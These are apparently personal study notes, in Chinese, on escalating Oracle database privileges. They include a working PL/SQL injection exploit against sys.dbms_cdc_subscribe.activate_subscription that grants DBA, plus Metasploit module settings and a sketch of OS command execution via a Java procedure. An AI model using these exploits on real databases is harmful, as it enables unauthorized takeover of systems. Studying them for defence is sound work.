Day6——提权学习之Oracle数据库提权学习总结
0x00 Oracle提权基础
1、Oracle权限分配
1.1 系统权限
系统规定用户使用数据库的权限。(系统权限是对用户而言)。
系统权限分类
DBA
: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
RESOURCE
:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
CONNECT
:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。
对于普通用户:授予connect, resource权限。
对于DBA管理用户:授予connect,resource, dba权限。
1.2 实体权限
某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。
实体权限分类
select, update, insert, alter, index, delete, all //all包括所有权限
execute
//执行存储过程权限
0x01 Oracle提权方法
1、通过注入存储过程提权(低权限提升至DBA)
1.1 原理
SYS创建的存储过程存在sql注入。拥有create procedure
权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan
命令,获得Oracle数据库dba权限。
1.2 利用条件
1、SYS创建的存储过程存在sql注入
(EG:CVE-2005-4832)
2、用户拥有create procedure
权限(用来创建函数)
1.3 提权步骤
假设有一个用户quan 只有 CONNECT 和 RESOURCE 权限
1.3.1 手工注入
(1)用户登陆后执行select * from session_privs
查看权限
(2)创建函数,命令为grant dba to quan
grant execute on pwn to public;//赋予所有用户此函数的执行权限
SQL>create or replace function pwn return vaarchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate 'grant dba to quan';
return '';
end;
/
SQL>grant execute on pwn to public;
/
(3)注入sys.dbms_cdc_subscribe.activate_subscription
SQL>begin
sys.dbms_cdc_subscribe.activate_subscription('''||quan.pwn()||''');
end;
/
SQL>set role dba;
(4)执行select * from session_privs
查看是否为dba权限
1.3.2 利用MSF注入
(1)加载攻击模块
use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription
(2)配置参数
set dbuser quan
set dbpass quan123
set sid orcl
set rhost xxxxx
set sql grant dba to quan
(3)run
2、通过utl_http.request存储过程提权
2.1 原理
Oracle9i~11gR2中dbms_xmlquery.newcontext()
和dbms_xmlquery.getxml()
函数可以执行任意PL/SQL语句,利用这两个函数可以获得Oracle服务器的操作系统权限。
2.2 利用条件
1、UTL_HTTP存储过程可用
2、Oracle9i~11gR2
2.3 提权步骤
(1)创建Java包
(2)创建存储过程MYJAVACMD
(3)执行存储过程,成功添加用户
0x02 参考文章
《网络攻防实战研究——漏洞利用与提权》